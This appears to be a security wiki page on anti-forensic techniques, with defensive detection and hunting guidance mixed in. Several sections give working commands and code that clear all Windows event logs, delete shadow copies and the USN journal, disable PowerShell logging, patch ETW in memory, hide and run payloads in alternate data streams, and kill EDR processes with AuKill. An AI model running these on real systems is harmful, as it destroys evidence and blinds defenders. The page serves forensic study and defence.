Anti-Forensic Techniques

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Timestamps

An attacker may be interested in changing the timestamps of files to avoid being detected.
It's possible to find the timestamps inside the MFT in attributes $STANDARD_INFORMATION __ and __ $FILE_NAME.

Both attributes have 4 timestamps: Modification, access, creation, and MFT registry modification (MACE or MACB).

Windows explorer and other tools show the information from $STANDARD_INFORMATION.

TimeStomp - Anti-forensic Tool

This tool modifies the timestamp information inside $STANDARD_INFORMATION but not the information inside $FILE_NAME. Therefore, it's possible to identify suspicious activity.

Usnjrnl

The USN Journal (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The UsnJrnl2Csv tool allows for the examination of these changes.

The previous image is the output shown by the tool where it can be observed that some changes were performed to the file.

$LogFile

All metadata changes to a file system are logged in a process known as write-ahead logging. The logged metadata is kept in a file named **$LogFile**, located in the root directory of an NTFS file system. Tools such as LogFileParser can be used to parse this file and identify changes.

Again, in the output of the tool it's possible to see that some changes were performed.

Using the same tool it's possible to identify to which time the timestamps were modified:

• CTIME: File's creation time
• ATIME: File's modification time
• MTIME: File's MFT registry modification
• RTIME: File's access time

$STANDARD_INFORMATION and $FILE_NAME comparison

Another way to identify suspicious modified files would be to compare the time on both attributes looking for mismatches.

Nanoseconds

NTFS timestamps have a precision of 100 nanoseconds. Then, finding files with timestamps like 2010-10-10 10:10:00.000:0000 is very suspicious.

SetMace - Anti-forensic Tool

This tool can modify both attributes $STARNDAR_INFORMATION and $FILE_NAME. However, from Windows Vista, it's necessary for a live OS to modify this information.

Data Hiding

NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the reminding half is never going to be used until the file is deleted. Then, it's possible to hide data in this slack space.

There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the $logfile and $usnjrnl can show that some data was added:

Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted.

UsbKill

This is a tool that will turn off the computer if any change in the USB ports is detected.
A way to discover this would be to inspect the running processes and review each python script running.

Live Linux Distributions

These distros are executed inside the RAM memory. The only way to detect them is in case the NTFS file-system is mounted with write permissions. If it's mounted just with read permissions it won't be possible to detect the intrusion.

Secure Deletion

https://github.com/Claudio-C/awesome-data-sanitization

Windows Configuration

It's possible to disable several windows logging methods to make the forensics investigation much harder.

Disable Timestamps - UserAssist

This is a registry key that maintains dates and hours when each executable was run by the user.

Disabling UserAssist requires two steps:

1. Set two registry keys, HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs and HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled, both to zero in order to signal that we want UserAssist disabled.
2. Clear your registry subtrees that look like HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>.

Disable Timestamps - Prefetch

This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices.

• Execute regedit
• Select the file path HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters
• Right-click on both EnablePrefetcher and EnableSuperfetch
• Select Modify on each of these to change the value from 1 (or 3) to 0
• Restart

Disable Timestamps - Last Access Time

Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to update a timestamp field on each listed folder, called the last access time. On a heavily used NTFS volume, this can affect performance.

1. Open the Registry Editor (Regedit.exe).
2. Browse to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem.
3. Look for NtfsDisableLastAccessUpdate. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process.
4. Close the Registry Editor, and reboot the server.

Delete USB History

All the USB Device Entries are stored in Windows Registry Under the USBSTOR registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR. Deleting this you will delete the USB history.
You may also use the tool USBDeview to be sure you have deleted them (and to delete them).

Another file that saves information about the USBs is the file setupapi.dev.log inside C:\Windows\INF. This should also be deleted.

Disable Shadow Copies

List shadow copies with vssadmin list shadowstorage
Delete them running vssadmin delete shadow

You can also delete them via GUI following the steps proposed in https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html

To disable shadow copies steps from here:

1. Open the Services program by typing "services" into the text search box after clicking the Windows start button.
2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking.
3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK.

It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot

Overwrite deleted files

• You can use a Windows tool: cipher /w:C This will indicate cipher to remove any data from the available unused disk space inside the C drive.
• You can also use tools like Eraser

Delete Windows event logs

• Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log"
• for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
• Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }

Disable Windows event logs

• reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\eventlog' /v Start /t REG_DWORD /d 4 /f
• Inside the services section disable the service "Windows Event Log"
• WEvtUtil.exec clear-log or WEvtUtil.exe cl

Disable $UsnJrnl

• fsutil usn deletejournal /d c:

Advanced Logging & Trace Tampering (2023-2025)

PowerShell ScriptBlock/Module Logging

Recent versions of Windows 10/11 and Windows Server keep rich PowerShell forensic artifacts under Microsoft-Windows-PowerShell/Operational (events 4104/4105/4106).
Attackers can disable or wipe them on-the-fly:

# Turn OFF ScriptBlock & Module logging (registry persistence)
New-ItemProperty -Path "HKLM:\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine" \
                 -Name EnableScriptBlockLogging -Value 0 -PropertyType DWord -Force
New-ItemProperty -Path "HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging" \
                 -Name EnableModuleLogging -Value 0 -PropertyType DWord -Force

# In-memory wipe of recent PowerShell logs
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' |
  Remove-WinEvent               # requires admin & Win11 23H2+

Defenders should monitor for changes to those registry keys and high-volume removal of PowerShell events.

ETW (Event Tracing for Windows) Patch

Endpoint security products rely heavily on ETW. A popular 2024 evasion method is to patch ntdll!EtwEventWrite/EtwEventWriteFull in memory so every ETW call returns STATUS_SUCCESS without emitting the event:

// 0xC3 = RET on x64
unsigned char patch[1] = { 0xC3 };
WriteProcessMemory(GetCurrentProcess(),
                   GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"),
                   patch, sizeof(patch), NULL);

Public PoCs (e.g. EtwTiSwallow) implement the same primitive in PowerShell or C++.
Because the patch is process-local, EDRs running inside other processes may miss it.
Detection: compare ntdll in memory vs. on disk, or hook before user-mode.

Alternate Data Streams (ADS) Revival

Malware campaigns in 2023 (e.g. FIN12 loaders) have been seen staging second-stage binaries inside ADS to stay out of sight of traditional scanners:

rem Hide cobalt.bin inside an ADS of a PDF
type cobalt.bin > report.pdf:win32res.dll
rem Execute directly
wmic process call create "cmd /c report.pdf:win32res.dll"

Enumerate streams with dir /R, Get-Item -Stream *, or Sysinternals streams64.exe. Copying the host file to FAT/exFAT or via SMB will strip the hidden stream and can be used by investigators to recover the payload.

BYOVD & “AuKill” (2023)

Bring-Your-Own-Vulnerable-Driver is now routinely used for anti-forensics in ransomware intrusions.
The open-source tool AuKill loads a signed but vulnerable driver (procexp152.sys) to suspend or terminate EDR and forensic sensors before encryption & log destruction:

AuKill.exe -e "C:\\Program Files\\Windows Defender\\MsMpEng.exe"
AuKill.exe -k CrowdStrike

The driver is removed afterwards, leaving minimal artifacts.
Mitigations: enable the Microsoft vulnerable-driver blocklist (HVCI/SAC), and alert on kernel-service creation from user-writable paths.

Linux Anti-Forensics: Self-Patching and Cloud C2 (2023–2025)

Self‑patching compromised services to reduce detection (Linux)

Adversaries increasingly “self‑patch” a service right after exploiting it to both prevent re‑exploitation and suppress vulnerability‑based detections. The idea is to replace vulnerable components with the latest legitimate upstream binaries/JARs, so scanners report the host as patched while persistence and C2 remain.

Example: Apache ActiveMQ OpenWire RCE (CVE‑2023‑46604)

• Post‑exploitation, attackers fetched legitimate JARs from Maven Central (repo1.maven.org), deleted vulnerable JARs in the ActiveMQ install, and restarted the broker.
• This closed the initial RCE while maintaining other footholds (cron, SSH config changes, separate C2 implants).

Operational example (illustrative)

# ActiveMQ install root (adjust as needed)
AMQ_DIR=/opt/activemq
cd "$AMQ_DIR"/lib

# Fetch patched JARs from Maven Central (versions as appropriate)
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-client/5.18.3/activemq-client-5.18.3.jar
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-openwire-legacy/5.18.3/activemq-openwire-legacy-5.18.3.jar

# Remove vulnerable files and ensure the service uses the patched ones
rm -f activemq-client-5.18.2.jar activemq-openwire-legacy-5.18.2.jar || true
ln -sf activemq-client-5.18.3.jar activemq-client.jar
ln -sf activemq-openwire-legacy-5.18.3.jar activemq-openwire-legacy.jar

# Apply changes without removing persistence
systemctl restart activemq || service activemq restart

Forensic/hunting tips

• Review service directories for unscheduled binary/JAR replacements:
  • Debian/Ubuntu: dpkg -V activemq and compare file hashes/paths with repo mirrors.
  • RHEL/CentOS: rpm -Va 'activemq*'
  • Look for JAR versions present on disk that are not owned by the package manager, or symbolic links updated out of band.
• Timeline: find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort to correlate ctime/mtime with compromise window.
• Shell history/process telemetry: evidence of curl/wget to repo1.maven.org or other artifact CDNs immediately after initial exploitation.
• Change management: validate who applied the “patch” and why, not only that a patched version is present.

Cloud‑service C2 with bearer tokens and anti‑analysis stagers

Observed tradecraft combined multiple long‑haul C2 paths and anti‑analysis packaging:

• Password‑protected PyInstaller ELF loaders to hinder sandboxing and static analysis (e.g., encrypted PYZ, temporary extraction under /_MEI*).
  • Indicators: strings hits such as PyInstaller, pyi-archive, PYZ-00.pyz, MEIPASS.
  • Runtime artifacts: extraction to /tmp/_MEI* or custom --runtime-tmpdir paths.
• Dropbox‑backed C2 using hardcoded OAuth Bearer tokens
  • Network markers: api.dropboxapi.com / content.dropboxapi.com with Authorization: Bearer <token>.
  • Hunt in proxy/NetFlow/Zeek/Suricata for outbound HTTPS to Dropbox domains from server workloads that do not normally sync files.
• Parallel/backup C2 via tunneling (e.g., Cloudflare Tunnel cloudflared), keeping control if one channel is blocked.
  • Host IOCs: cloudflared processes/units, config at ~/.cloudflared/*.json, outbound 443 to Cloudflare edges.

Persistence and “hardening rollback” to maintain access (Linux examples)

Attackers frequently pair self‑patching with durable access paths:

• Cron/Anacron: edits to the 0anacron stub in each /etc/cron.*/ directory for periodic execution.
  • Hunt:

    for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
    grep -R --line-number -E 'curl|wget|python|/bin/sh' /etc/cron.*/* 2>/dev/null
    

• SSH configuration hardening rollback: enabling root logins and altering default shells for low‑privileged accounts.
  • Hunt for root login enablement:

    grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
    # flag values like "yes" or overly permissive settings
    

  • Hunt for suspicious interactive shells on system accounts (e.g., games):

    awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd
    

• Random, short‑named beacon artifacts (8 alphabetical chars) dropped to disk that also contact cloud C2:
  • Hunt:

    find / -maxdepth 3 -type f -regextype posix-extended -regex '.*/[A-Za-z]{8}$' \
      -exec stat -c '%n %s %y' {} \; 2>/dev/null | sort
    

Defenders should correlate these artifacts with external exposure and service patching events to uncover anti‑forensic self‑remediation used to hide initial exploitation.

References

• Sophos X-Ops – “AuKill: A Weaponized Vulnerable Driver for Disabling EDR” (March 2023)
  https://news.sophos.com/en-us/2023/03/07/aukill-a-weaponized-vulnerable-driver-for-disabling-edr

• Red Canary – “Patching EtwEventWrite for Stealth: Detection & Hunting” (June 2024)
  https://redcanary.com/blog/etw-patching-detection

• Red Canary – Patching for persistence: How DripDropper Linux malware moves through the cloud

• CVE‑2023‑46604 – Apache ActiveMQ OpenWire RCE (NVD)